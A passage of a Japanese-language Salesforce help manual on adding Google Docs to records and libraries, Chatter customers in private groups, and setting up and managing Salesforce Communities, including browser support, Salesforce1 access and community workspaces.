す) の作成と共有を行い、他のユーザと共同作業しながら変更をリアルタイムで
見ることができます。内容は Google に保存されるため、バージョンを管理した
り、メールで添付ファイルを送信したりする必要はありません。Google Apps ア
カウントでログインするだけで、現在のドキュメントや変更履歴を参照できま
す。
Salesforce および Google Apps では、Google ドキュメントと Salesforce を統合できま
す。Google Apps アカウントの [ドキュメント] ホームページには、あなたが作成
したものや Google Apps ユーザがあなたと共有しているすべての Google ドキュメ
ント、プレゼンテーション、およびスプレッドシートの一覧が表示されます。
Google ドキュメントについての詳細は、「Google のオンラインヘルプ」を参照し
てください。
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Salesforce への Google ドキュメントの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Google ドキュメントを作
成し Salesforceレコードに
リンクする
• 該当するレコードタイ

プに対する「編集」

および

Google Apps アカウン
ト

既存の Google ドキュメントを Salesforce のレコードまたはライブラリに追加でき
ます。

メモ: Google Appsサービスを Salesforceで使用するには、Google Apps企業アカ
ウントにログインする必要があります。企業アカウントは、たとえば、
john.doe@company.com など、組織のドメインを使用します。Google Apps

のユーザ名とパスワードがわからない場合は、管理者にお問い合わせくだ
さい。

Salesforce レコードへの Google ドキュメントの追加
1. ケース、商談、またはその他のレコードを開きます。
2. [Google ドキュメント、メモ & 添付ファイル] 関連リストまたは [Google ドキュ

メント & 添付ファイル] 関連リストで、[Googleドキュメントの追加]をクリッ
クします。

3. Google ドキュメントの名前を入力します。
4. Google ドキュメント URL を入力します。
5. [保存] をクリックします。

Salesforce CRM Content ライブラリへの Google ドキュメントの追加
1. [ライブラリ]タブまたはライブラリ詳細ページで、[Google ドキュメントの追加]をクリックします。要求さ

れたら Google Apps にログインします。
2. Google ドキュメント URL を入力します。
3. [寄稿] をクリックします。
4. タイトルを入力し、ライブラリを選択します。ライブラリにコンテンツを公開するための詳細な手順は、

「ファイルをライブラリに公開」を参照してください。
5. [公開] をクリックします。

メモ: Google ドキュメントを開いている間、ファイルは組織の他の Google Apps ユーザと共有されます。
Google AppsアカウントでそのGoogleドキュメントへのアクセス権を持つユーザのみが、Salesforceからその
ドキュメントを開くことができます。

ヒント: Google ドキュメントの使用についての詳細は、「Google のオンラインヘルプ」を参照してくださ
い。

関連トピック:

Salesforce での Google ドキュメントの使用

パートナーおよび顧客とのコラボレーション

Chatter グループの顧客やパートナーと更新を共有します。
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非公開グループの Chatter 顧客について
Chatter グループでの顧客の追加と削除

非公開グループの Chatter 顧客について
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter 顧客は、会社のメールドメイン外のユーザで、自分が招待されたグルー
プのみを表示でき、それらのグループのメンバーとのみ会話できます。Salesforce

情報は表示できません。
Chatter 顧客:

• 顧客を Chatter に追加できるのは次の場合のみ:

– 顧客を許可しているグループの所有者またはマネージャが顧客をグルー
プに招待した場合。

– システム管理者が [設定] で [クイック検索] ボックスに「ユーザ」と入力
し、[ユーザ] を選択して顧客を追加した場合。

• 顧客が表示できる情報:

– 自分が属するグループ。
– 自分が属するグループのメンバー。顧客が表示できるのは制限されたプ

ロファイルのみです (写真、名前、役職、メール、共通のグループメンバーシップ、共通のファイル、
活動の統計および影響度など)。顧客はプロファイルに投稿できません。

– 自分が属するグループで共有されているファイル。
• 顧客が表示できない情報:

– レコードまたはその他の Salesforce 情報。検索結果に含まれていても表示できません。
– トピック。フィードのトピック、トピックのリスト、トピック詳細ページ、[最近の話題]、[トピックの

トレンド] など (顧客はハッシュタグ (#) トピックを表示できます)。
– [おすすめ]。他のユーザに推奨することはできません。また、顧客を許可しているグループを推奨する

ことはできません。
• プロファイルと属するグループで顧客として識別される。顧客および顧客を含むグループは、写真の左上

隅がオレンジ色になっているため簡単に識別できます。
• プロファイルが制限される (名前、写真、役職、会社、メール、フィード、グループメンバーシップ、ファ

イル所有権、活動の統計および影響度など)。
• 他のユーザがフォローできない。さらに、顧客は、他のユーザやファイルをフォローできません。
• グループメンバーやマネージャになれる。顧客がマネージャの場合、他の共通グループに属していなくて

も、グループへの参加を要求しているユーザを表示し、申請を承認できます。
• グループの所有、作成、削除、モデレート、参加、参加の要請はできない。
• 共通のグループに属する他のユーザを、自分が管理するグループに参加するように招待できる。
• 会社のドメイン内のプロファイルを表示できないユーザは招待できない。
• 他のユーザとチャット (ページ 3736)できない。
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メモ:

• 他のユーザをグループに顧客として招待すると、そのユーザがすでに他の Salesforce 組織のメンバーで
ある場合も、組織のそのグループにログインするための一意のユーザ名とパスワードが与えられま
す。顧客グループにアクセスするその他の Salesforce ログインは使用できなくなります。

• 顧客にグループへのログインの問題が発生した場合は、グループへの登録後に受信するお知らせメー
ルに記載されているユーザ名およびパスワードを使用していることを確認します。引き続き問題が発
生する場合は、システム管理者にお問い合わせください。

• 顧客がパスワードを紛失した場合は、[パスワードを忘れた場合] オプションを使用すると、パスワー
ドを再設定することができます。ユーザ名を紛失した場合は、顧客がユーザ名を復旧する組織のシス
テム管理者に問い合わせる必要があります。

モバイルユーザの考慮事項
Chatter 顧客はログインして Salesforce1 アプリケーションおよび Chatter Mobile for BlackBerry アプリケーションを使
用できます。Web 版の Chatter を使用する場合と同じ制限が Chatter 顧客に適用されます。

関連トピック:

Chatter グループ
Chatter グループでの顧客の追加と削除

Chatter グループでの顧客の追加と削除
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

組織で顧客招待が有効化されている場合、顧客を許可する非公開の所有グルー
プまたは管理グループで、顧客を追加、削除、および招待できます。
1. グループ詳細ページに移動します。
2. まだ会社の顧客ではない人を追加するには、[ユーザを招待する]または[メン

バーの追加/削除] > [Salesforce Chatter に招待しましょう。] をクリックしま
す。カンマで区切ったメールアドレスと省略可能なメッセージを入力して、
[送信] をクリックします。
招待を承諾した人は、Chatter に参加し、グループのメンバーになります。

3. すでに会社の顧客である人を追加するには、[メンバーの追加/削除]をクリッ
クしてから、次を行います。
• [ユーザを検索] 検索ボックスを使用して検索します。
• グループの [メンバー] と社内の [全員] を切り替えます。
• [次へ] や [前へ] リンクを利用して、リストをさらに表示できます。
• 顧客を追加するには [追加] を、顧客を削除するには をクリックします。
• 終了したら、[完了] をクリックします。

3866

Chatter グループでの顧客の追加と削除すべてのユーザとのコラボレーション



メモ:

• 他のユーザをグループに顧客として招待すると、そのユーザがすでに他の Salesforce 組織のメンバーで
ある場合も、組織のそのグループにログインするための一意のユーザ名とパスワードが与えられま
す。顧客グループにアクセスするその他の Salesforce ログインは使用できなくなります。

• 顧客にグループへのログインの問題が発生した場合は、グループへの登録後に受信するお知らせメー
ルに記載されているユーザ名およびパスワードを使用していることを確認します。引き続き問題が発
生する場合は、システム管理者にお問い合わせください。

• 顧客がパスワードを紛失した場合は、[パスワードを忘れた場合] オプションを使用すると、パスワー
ドを再設定することができます。ユーザ名を紛失した場合は、顧客がユーザ名を復旧する組織のシス
テム管理者に問い合わせる必要があります。

関連トピック:

Chatter グループメンバーの追加と削除
Chatter グループメンバーの表示

その他のリソース

詳細情報が必要ですか? 次の動画とヒント集を確認してください。

ヒント集
コラボレーションの動画

ヒント集
Salesforceでは、オンラインヘルプだけでなく印刷可能なドキュメントを公開し、機能について習得できるよう
にしています。
これらのドキュメントには、ヒント集、ユーザガイド、およびSalesforceの特徴や機能について説明したその他
のリソースが含まれます。これらのドキュメントは Adobe® PDF ファイルで利用可能です。PDF ファイルを開く
には、Adobe Reader® が必要です。Reader の最新バージョンをダウンロードするには、
www.adobe.com/products/acrobat/readstep2.htmlにアクセスしてください。

Salesforce CRM Content

コラボレーションの動画
Salesforce ではオンラインヘルプに加えてビデオデモも作成し、機能について習得できるようにしています。
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コミュニティと Chatter

システム管理者
向け

エンドユーザ向
け

動画のタイトル

Tips for Rolling Out Chatter (Chatter のロールアウトのヒント)

組織へのChatterのロールアウト方法やユーザ間での導入の促進方法を明
確に把握できていますか。この短い動画を見て、オプションを確認し、
ビジネスニーズに合った独自の計画を作成してください。

Discover and Organize with Chatter Topics (Chatterトピックを使用した検出と
整理)

Chatterトピックを使用して、他のユーザが話している話題の確認、参加
を希望している会話の整理、同じトピックに関して興味や知識を持って
いる人やグループの検出を行います。

Getting the Most Out of Chatter Feeds (Chatter フィードを最大限に活用)

Salesforce Chatterを使用すると、投稿、アンケート、およびブックマーク
を作成し、Chatter で同僚と効果的にコラボレーションできます。フォ
ローされている人またはグループに投稿する方法、後で見つけられるよ
うに投稿をブックマークする方法、結果をすぐ収集するためにアンケー
トを作成する方法について説明します。

Get Started with Salesforce Files Sync (Salesforce Files Sync の使用開始)

すべてのファイルが常に最新バージョンになるように、コンピュータま
たはモバイルデバイスと Salesforce 間でファイルを同期する方法を学習し
ます。
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Salesforce Communities の設定および管理

Salesforce Communities

コミュニティは、カスタマーやパートナーのような、ビジネスプロセスに重要な社外の人と情報を共有し、コ
ラボレーションするための便利な機能です。独自のコミュニティの設定を開始するためのいくつかのリソース
を次に示します。
さまざまな目的で、組織内に複数のコミュニティを作成できます。たとえば、カスタマーサポートコミュニ
ティを作成してサポートコストを削減したり、パートナーの商談サポートのためのチャネル販売コミュニティ
や、開催予定のイベント専用のコミュニティを作成したりできます。

コミュニティについて
コミュニティの作成を開始する前に、Trailhead でいくつかの主要概念を確認することをお勧めします。
• コミュニティの基本
• コミュニティのロールアウト戦略

コミュニティの作成、設計、および管理
• コミュニティの設定および管理 (PDF)
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• テンプレートを使用したコミュニティの作成 (PDF)

• Community Managers Guide (コミュニティマネージャガイド) (PDF)

• ダッシュボードおよびインサイトパッケージを使用したコミュニティのレポート
• SEO ベストプラクティス
• パートナーコミュニティの作成 (PDF)

制限事項、サポートされるブラウザ、モビリティ
• コミュニティの制限
• コミュニティのサポートされるブラウザ
• Salesforce1 のコミュニティへのアクセス

高度なコミュニティのカスタマイズ
• コミュニティビルダーでの Lightning コンポーネント
• Lightning コンポーネント開発者ガイド
• Visualforce 開発者ガイド
• Visualforce コンポーネントの参照

コミュニティで使用する AppExchange パッケージ
• Community Management Package for Communities with Chatter

• Community Management Package for Communities without Chatter

ポータルからコミュニティへの移行
• ポータルからコミュニティへの移行 (PDF)

• パートナーポータルの作成と管理 (PDF)

困った場合の Success コミュニティでの支援の依頼
• Community Cloud

• コミュニティの実装
• コミュニティ管理
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Salesforce Communities の概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティは、従業員、お客様、およびパートナーが接続するブランド空間
です。ビジネスニーズに合わせてコミュニティをカスタマイズしながら作成す
ることができ、その後もコミュニティ間をシームレスに移行できます。
コミュニティは次の目的で使用できます。
• 従業員と流通業者、再販業者、納入業者を接続し、販売を促進する
• 顧客から回答を得られる一元的な場所を用意することにより、世界クラスの

サービスを提供する
• ソーシャルな聴取、内容、取り組み、およびワークフローのすべてを一元管

理する
コミュニティは、標準の Salesforce 機能およびタブを使用するか、事前設定され
たテンプレートのいずれかに基づいて作成することができます。コミュニティには、Salesforce社内組織で使用
可能な機能やデータのサブセットを含めることができ、企業のブランド情報を使用するようにカスタマイズで
きます。さらに、自社から参加できるメンバーと、参加できる顧客、パートナー、または社外のその他の人を
選択できます。
コミュニティは組織内に存在し、Salesforceの左上隅にあるドロップダウンメニューを使用してグローバルヘッ
ダーから、または Salesforce1 モバイルブラウザアプリケーションから簡単にアクセスできます。このメニュー
を使用して、コミュニティと Salesforce 社内組織を切り替えます。

関連トピック:

実装の計画
Salesforce Communities の有効化
コミュニティの作成
コミュニティの管理

実装の計画
コミュニティの設定とカスタマイズを行う前に、余裕をもっていくつかの主要な決定をしておくと役立ちま
す。
• コミュニティのビジネス要件を判断する。作成するコミュニティの対象となるのはどのタイプのユーザで

すか。まず、サポートする主要な用途 (カスタマーサポート、セルフサービス、マーケティングなど) を確
認します。

• コミュニティの規模を見積もる。これはライセンス要件の判断に役立ちます。
• コミュニティのコンテンツをライセンスのないゲストユーザに公開するかどうかを決定する。
• コミュニティのデザインを計画し、使用可能なカスタマイズオプションを評価する。Communities では、次

の選択肢があります。
– Visualforce を使用して標準のコミュニティタブをカスタマイズする。Communities には、コミュニティの

標準 Salesforce タブとともに使用できる、標準のブランド設定テーマが付属しています。さらに、Visualforce

を使用すると、コミュニティの外観を幅広くカスタマイズし、Force.comプラットフォームのすべての機
能を利用できます。このオプションを利用するにはプログラミング能力が必要です。
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– テンプレートと一緒にコミュニティビルダーを使用する。コミュニティビルダーには、スタイル設定済
みの豊富なテンプレートが付属しています。カスタマーサポートでの使用を目的としたコミュニティ向
けテンプレートです。テンプレートでは、直感的な GUI を使用して簡単にカスタマイズし、Site.com の最
小限の設定でコミュニティをすばやくロールアウトできます。この方法では、Force.comプラットフォー
ムのプログラミング経験や知識は必要ありません。テンプレートを決めかねている場合は、テンプレー
トの比較を参照してください。

これらのオプションについての詳細は、「コミュニティビルダーまたは Force.com サイトの選択」を参照し
てください。

• コミュニティの制限のいずれかが実装に影響するかどうかを判断する。

コミュニティのサポートされるブラウザ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティのブラウザのサポートは、コミュニティにアクセスするデバイス
やコミュニティテンプレートによって異なります。

Salesforce タブ + Visualforce
Salesforce タブ + Visualforce テンプレートを使用するコミュニティは、デスクトッ
プデバイスの Salesforce でサポートされるすべてのブラウザでサポートされます。
これらのコミュニティは、Salesforce1 アプリケーションからアクセスすることも
できます。

Koa、Kokua、およびカスタマーサービス (Napili)
Koa、Kokua、およびカスタマーサービス (Napili)テンプレートを使用するコミュニティは、次のブラウザでサポー
トされます。
デスクトップコンピュータ

Mozilla® Firefox®

(最新バージョン)
Microsoft® Edge
(Windows® 10 の
み)

Microsoft®
Internet
Explorer® 11

Google Chrome™

(最新バージョン)
Apple Safari (最
新バージョン)

プラットフォー
ム

Apple® Mac OS® デ
スクトップ
Microsoft® Windows®

デスクトップ

モバイルデバイス
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Mozilla® Firefox®

(最新バージョン)
Microsoft® Edge
(Windows® 10 の
み)

Microsoft®
Internet
Explorer® 11

Google Chrome™

(最新バージョン)
Apple Safari (最
新バージョン)

プラットフォー
ム

Android™端末およ
びタブレット

iOS 端末およびタ
ブレット
Windows® Phone 8

端末
Windows® Phone 10

端末

メモ: コミュニティワークスペースは、Lightning Experience をサポートするブラウザでのみサポートされま
す。

関連トピック:

Salesforce Classic でサポートされるブラウザ
Lightning Experience でサポートされるブラウザ

Salesforce1 のコミュニティへのアクセス
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce1 モバイルアプリケーションからコミュニティへのアクセスは、コミュ
ニティを作成するために使用されたテンプレートの種類、ライセンス、コミュ
ニティメンバーの権限などのいくつかの要素によって異なります。

必要な権限の付与
コミュニティメンバーが Salesforce1 にアクセスできることを確認します。
• 組織でSalesforce1が有効になっていること (デフォルト) を確認し、有効になっ

ていなければ有効にします。[設定] から、[クイック検索] ボックスに
「Salesforce1」と入力し、[Salesforce1 の設定] を選択します。

• コミュニティの外部ユーザのために Salesforce1 モバイルブラウザアプリケー
ションへのアクセスを設定します。各外部ユーザレコードで、[Salesforce1ユーザ]を選択します。内部組織
でモバイルブラウザアプリケーションが有効になっている場合、内部ユーザにのみ [Salesforce1 ユーザ] 設
定が自動的に割り当てられます。
これが設定されていない場合、コミュニティメンバーは /one/one.app をコミュニティ URL

(https://universaltelco.force.com/customer/one/one.app など) に割り当てて、サポートされる
モバイルブラウザから Salesforce1 でコミュニティにアクセスする必要があります。

• コミュニティライセンスがある外部ユーザに「API の有効化」プロファイル権限を付与して、Salesforce1 ダ
ウンロード可能アプリケーションからコミュニティにアクセスできるようにします。
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Salesforce タブ + Visualforce テンプレートを使用するコミュニティ
Salesforce Tabs + Visualforce テンプレートを使用するコミュニティは、すべての Salesforce1 アプリケーションでサ
ポートされます。内部ユーザは、Salesforce1 ナビゲーションメニューの上部にあるスイッチャを使用してこれ
らのコミュニティにアクセスします。外部ユーザの場合、複数のコミュニティに属しているときにこのメニュー
が表示され、コミュニティを切り替えるために使用できます。このスイッチャには、ユーザがアクセスできる
コミュニティが自動的に入力されるため、追加の設定は必要ありません。

Android デバイス用の
Salesforce1 ダウンロード可
能アプリケーション

iOS デバイス用の
Salesforce1 ダウンロード
可能アプリケーション

Salesforce1 モバイルブラウ
ザアプリケーション

ユーザの種別

アプリケーションにログイ
ンします。Salesforce1 ナビ

アプリケーションにログ
インします。Salesforce1

サポートされるモバイルブ
ラウザから Salesforce にログ

標準Salesforceライセンス
のあるユーザ
コミュニティにも属して
いる内部組織ユーザ

ゲーションメニューの上部
にあるスイッチャを使用し
て、コミュニティを選択し
ます。

ナビゲーションメニュー
の上部にあるスイッチャ
を使用して、コミュニ
ティを選択します。

インします。次に、
Salesforce1ナビゲーションメ
ニューの上部にあるスイッ
チャを使用して、コミュニ
ティを選択します。

Salesforce1 のログイン画面
で、 をタップします。

Salesforce1 のログイン画
面で、 をタップしま

コミュニティ URL に移動
し、コミュニティのログイ

次のコミュニティライセ
ンスのある外部ユーザ

ホスト名にコミュニティす。ホスト名にコミュニン情報でログインします。• カスタマーコミュニ
ティ URL

(<domainname>.force.com/
ティ URL
(<domainname>.force.com/

コミュニティ URL に
one/one.app が含まれて

• カスタマーコミュニ
ティプラス

<path-prefix>) を使用し
て、コミュニティを新しい
接続として追加します。
次に、そのコミュニティの
接続を選択し、コミュニ

<path-prefix>) を使用
して、コミュニティを新
しい接続として追加しま
す。
次に、そのコミュニティ
の接続を選択し、コミュ

いない場合、それを URL に
追加します。

• パートナーコミュニ
ティ

• カスタマーポータル
ティのログイン情報でログ
インします。

• パートナーポータル
ニティのログイン情報で
ログインします。

• 大規模ポータルユーザ

未サポート未サポートコミュニティ URL に移動し
ます。ゲストユーザは、ロ

ライセンスのないユーザ
(ゲストユーザ)
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Android デバイス用の
Salesforce1 ダウンロード可
能アプリケーション

iOS デバイス用の
Salesforce1 ダウンロード
可能アプリケーション

Salesforce1 モバイルブラウ
ザアプリケーション

ユーザの種別

グインを必要としない公開
コミュニティコンテンツに
のみアクセスできます。

Koa、Kokua、カスタマーサービス (Napili)テンプレートを使用するコミュニティ
これらのスタイルはSalesforce1で適切に表示されないため、Koa、Kokua、カスタマーサービス (Napili)テンプレー
トで構築されたコミュニティは Salesforce1 アプリケーションに読み込まれません。これらのコミュニティは反
応型なので、コミュニティ URL を使用してサポートされるモバイルブラウザから直接アクセスすることをお勧
めします。

[コミュニティ管理]、コミュニティワークスペース、およびコミュニティビル
ダー
[コミュニティ管理] および [コミュニティワークスペース] は Salesforce1 では使用できません。[コミュニティ管
理]、コミュニティワークスペース、およびコミュニティビルダーでカスタマイズを行う場合、デスクトップ
コンピュータでサポートされるブラウザを使用することをお勧めします。

関連トピック:

Salesforce1 モバイルアプリケーションの要件
Salesforce Communities: Salesforce1 で使用できない機能とその新機能
Salesforce1 モバイルアプリケーションへのアクセスの制御
Salesforce1 モバイルアプリケーションの要件
Salesforce1 モバイルアプリケーション
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コミュニティの Salesforce1 設定

エディション

Salesforce Communities を
使用可能なエディション:
Salesforce Classic

Salesforce Communities の
[設定] を使用可能なエディ
ション: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティ設定を編集
する
• 「アプリケーションの

カスタマイズ」

Salesforce1 で Visualforce ページから他の Visualforce ページに簡単にリンクするには、
コミュニティ設定で [コミュニティの Salesforce1 設定] の下のチェックボックス
をオンにします。

例:

メモ: この設定をオンにすると、すべてのコミュニティ URL の Apex プ
レフィックスが保持されます。
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コミュニティの設定および管理

Salesforce Communities の有効化
エディション

Salesforce Communities を
使用可能なエディション:
Salesforce Classic

Salesforce Communities の
[設定] を使用可能なエディ
ション: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Communitiesを有効化する
• 「アプリケーションの

カスタマイズ」

Salesforce Communities を有効にするには、まずコミュニティを作成します。
Communitiesを有効にするとSalesforce Classic 2010 ユーザインターフェースのテーマ
が有効になり、Salesforce のデザインが更新されます。

メモ: Communities は、一度有効化すると無効化できません。
支払期日までに料金が不払いであったため、組織からCommunitiesへのアク
セスが中断されると、[プレビュー]状況のものも含め、すべてのコミュニ
ティが無効になります。コミュニティを再度有効化すると、すべてのコミュ
ニティは [無効] 状況になります。これらのコミュニティは、有効化する
ことはできますが、[プレビュー] 状況に戻すことはできません。

1. [設定] から、[クイック検索/検索] ボックスに「コミュニティ設定」と入力し、
[コミュニティ設定] を選択します。

メモ: このメニューが表示されない場合、Communities が組織で有効に
なっていない可能性があります。Salesforceのアカウントエグゼクティブ
にお問い合わせください。

2. [コミュニティを有効化] を選択します。
3. コミュニティに使用するドメイン名を選択し、[使用可能か調べる] をクリッ

クしてドメイン名が使用中でないことを確認します。
会社名など、ユーザが認識できる名前を使用することをお勧めします。ドメ
イン名はすべてのコミュニティで同じですが、作成プロセスでコミュニティごとに一意の URL を作成でき
ます。たとえば、ドメインが UniversalTelco.force.comで、顧客コミュニティを作成している場合、
URL を UniversalTelco.force.com/customers と指定できます。

重要: ドメイン名を保存したら、変更できません。

[ドメイン管理] ページで入力すると、完全なカスタムドメインを指定できます。[設定] から、[クイック検
索/検索] ボックスに「ドメイン」と入力し、[ドメイン] を選択します。

4. [保存] をクリックします。
これでコミュニティを作成できます。
コミュニティの作成およびカスタマイズには、「コミュニティの作成および設定」権限が必要です。この権限
により、ユーザはコミュニティに関連付けられた Site.com サイトを管理できます。
コミュニティを有効化したら、コミュニティへのアクセスが必要な内部ユーザに「グローバルヘッダーを参
照」権限を付与することをお勧めします。グローバルヘッダーを使用すると、ユーザがメンバーとなっている
コミュニティと内部組織を簡単に切り替えることができます。グローバルヘッダーは、Lightning Experienceでは
サポートされていないため、グローバルヘッダーからコミュニティの作成、管理、またはアクセスを行うに
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は、Salesforce Classic に切り替えます。組織で Lightning Experience を使用している場合は、適切な権限を持つユー
ザが Salesforce Classic に戻してグローバルヘッダーにアクセスする必要があります。

また、[コミュニティ管理] には、システム管理者とコミュニティマネージャが [コミュニティ管理]、コミュニ
ティビルダー、Force.com、Site.com Studio を切り替えるために使用できる追加のメニューも表示されます。

関連トピック:

Force.com サイトとコミュニティで同じドメイン名を使用できますか?

コミュニティの内容を表示できるユーザ
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コミュニティワークスペースを使用したコミュニティの管理
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] にアクセスする
• 「コミュニティ管理に

アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

• およびコミュニティの
メンバーであること

モデレーションルールお
よび条件にアクセスする
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

• およびコミュニティの
メンバーであること

管理設定をカスタマイズ
する、またはコミュニ
ティビルダーを使用する
• 「コミュニティの作成

および設定」
• およびコミュニティの

メンバーであること

コミュニティワークスペースで、コミュニティの作成、設定、および監視を一
元的に行うことができます。コミュニティビルダーや [管理] ワークスペースに
アクセスして、コミュニティの設定およびブランド設定を行うことができます。
コミュニティマネージャは、グループ、メンバー、フィード活動、ライセンス
利用状況に関するダッシュボードを表示したり、コミュニティの評価システム
を管理したりできます。モデレータは、レビュー用のフラグが付けられた項目
を表示できます。

メモ: コミュニティはいつでもカスタマイズできますが、大幅な変更を加
える場合は、まずコミュニティを無効化することをお勧めします。

コミュニティワークスペースを有効にするには、[設定] で [クイック検索/検索]

ボックスに「コミュニティ設定」と入力します。[コミュニティ管理] 設定で、[コ
ミュニティワークスペースを有効化]を選択します。コミュニティワークスペー
スは、Spring '17 以降に作成されたすべてのコミュニティでデフォルトで有効に
なります。

重要: コミュニティワークスペースで使用できるオプションは、コミュニ
ティテンプレートの選択や設定に基づきます。たとえば、コミュニティで
トピックを使用しない場合は、[トピック] セクションは表示されません。
次のリストのオプションの一部が、コミュニティに表示されない場合があ
ります。すべてのセクションを表示するには、[管理個人設定] に移動して
[コミュニティワークスペースのすべての設定を表示] を選択します。

コミュニティワークスペースには、次のワークスペースがあります。
ビルダー

コミュニティビルダーでは、コミュニティページのブランド設定や設計がで
きます。ページの作成とカスタマイズ、Lightning コンポーネントの変更また
は追加、コミュニティのナビゲーションメニューのカスタマイズ、ページレ
ベル設定の管理を行います。

モデレーション (ページ 4070)

[モデレーション] の [ホーム] タブから、コミュニティのホームページのダッ
シュボードや、フラグ付き投稿、コメント、メッセージ、ファイルのレポー
トを表示します。[ルール] (ページ4077)タブから、システム管理者は、コミュ
ニティのモデレーションルールやコンテンツ条件を設定できます。

メモ: Salesforce Communities Management パッケージのインストールを指示
するメッセージがホームページに引き続き表示される場合、システム管
理者がダッシュボードをまだ対応付けていません。

コンテンツターゲティング
[コンテンツターゲティング] ワークスペースからコミュニティのトピック (ページ 4095)とおすすめ (ページ
4106)を管理します。[トピック] タブからナビゲーションメニューを作成し、コミュニティで人気のあるト
ピックを紹介します。[おすすめ] タブからコミュニティエンゲージメントを促進します。
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ダッシュボード
コミュニティのダッシュボードやレポートを参照します。システム管理者は、[レポート] タブに表示され
るダッシュボードを設定します。[エンゲージメント] タブからインサイトを使用し、コミュニティで活動
を監視してアクションをすぐに実行します。

管理
[管理] ワークスペースから、次のようなコミュニティの基本設定を更新できます。
• メンバー — プロファイルでメンバーを追加または削除します。
• タブ — Salesforce タブ + Visualforce テンプレートを使用して作成されたコミュニティでメンバーに表示す

るタブを選択します。
• ブランド — Salesforce タブ + Visualforce テンプレートを使用して作成されたコミュニティの標準のブラン

ド設定テーマを選択します。
• ログイン & 登録 — デフォルトのコミュニティログインページやセルフ登録ページを選択したり、カス

タムページを管理したりします。
• メール — コミュニティメールの送信者情報、ブランド設定、およびテンプレートをカスタマイズしま

す。
• ページ — コミュニティのページ割り当てを設定し、コミュニティページの Force.comおよび Site.com設定

にアクセスします。
• 設定 — コンテンツのフラグ設定、ニックネーム表示、ダイレクトメッセージ、Chatter への公開アクセ

ス、ファイル制限など、その他の機能を有効にします。
• 設定 — コミュニティの名前、説明、および URL を編集します。また、コミュニティの状況の管理や、

コミュニティテンプレートの更新を行うこともできます。
• 評価 (ページ4112) — コミュニティフィードの活動で報奨をメンバーに付与するための評価レベルおよび

ポイントを設定します。

重要: システム管理者が自分自身をコミュニティから誤って削除すると、コミュニティワークスペー
スの管理設定にアクセスできなくなります。コミュニティに自分自身を追加し直すか、他のメンバー
シップ更新を行うには、API を使用します。
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コミュニティワークスペースへのアクセス
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] にアクセスする
• 「コミュニティ管理に

アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

• およびコミュニティの
メンバーであること

モデレーションルールお
よび条件にアクセスする
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

• およびコミュニティの
メンバーであること

管理設定をカスタマイズ
する、またはコミュニ
ティビルダーを使用する
• 「コミュニティの作成

および設定」
• およびコミュニティの

メンバーであること

合理化されたコミュニティワークスペースでは、コミュニティのモデレーショ
ン、作成、および管理が一元化されています。コミュニティビルダー、管理、
ダッシュボード、およびその他の機能に 1 か所からアクセスできます。
1. [設定] から、[クイック検索] ボックスに「コミュニティ設定」と入力し、[コ

ミュニティ設定] をクリックします。
2. [コミュニティ管理] 設定でコミュニティワークスペースを有効にします。[保

存] をクリックします。
3. [設定] から、[クイック検索] ボックスに「すべてのコミュニティ」と入力し、

[すべてのコミュニティ] をクリックします。コミュニティのワークスペース
領域にアクセスするには、その名前の横にある [コミュニティワークスペー
ス] をクリックします。

例:
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組織全体のコミュニティ設定の更新

デフォルトのコミュニティロール数の設定

エディション

Salesforce Communities を
使用可能なエディション:
Salesforce Classic

Salesforce Communities の
[設定] を使用可能なエディ
ション: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルトロール数を設
定する
• 「アプリケーションの

カスタマイズ」

パートナー取引先またはカスタマー取引先をコミュニティに追加した時点で作
成されるデフォルトのロール数を設定します。
これらの設定は、パートナーコミュニティユーザライセンスまたはカスタマー
コミュニティプラスユーザライセンスでコミュニティを設定した場合に適用さ
れます。ロール数の制限は 3 で、システムデフォルトは 1 です。たとえば、コ
ミュニティで取引先が有効化された時点で 3 つのパートナーロール (エグゼク
ティブ、マネージャ、ユーザ) が作成されていても新規取引先にはユーザロール
のみ必要な場合、ロール数を 1 に減らすことができます。

メモ: パフォーマンス向上のため、この値は「1」に設定することをお勧め
します。次に、スーパーユーザアクセスを使用して、その取引先の他のユー
ザが所有するデータへのアクセス権を特定のユーザに付与できます。

1. [設定] から、[クイック検索] ボックスに「コミュニティ設定」と入力し、[コ
ミュニティ設定] を選択します。

2. 取引先あたりのロール数を選択します。
a. パートナーコミュニティライセンスを使用している場合は、[パートナー

のロール数] を設定します。
b. カスタマーコミュニティプラスライセンスを使用している場合は、[カス

タマーのロール数] を設定します。

3. [保存] をクリックします。
既存の取引先のロール数は、この設定の影響を受けません。

関連トピック:

ポータルロールの制限
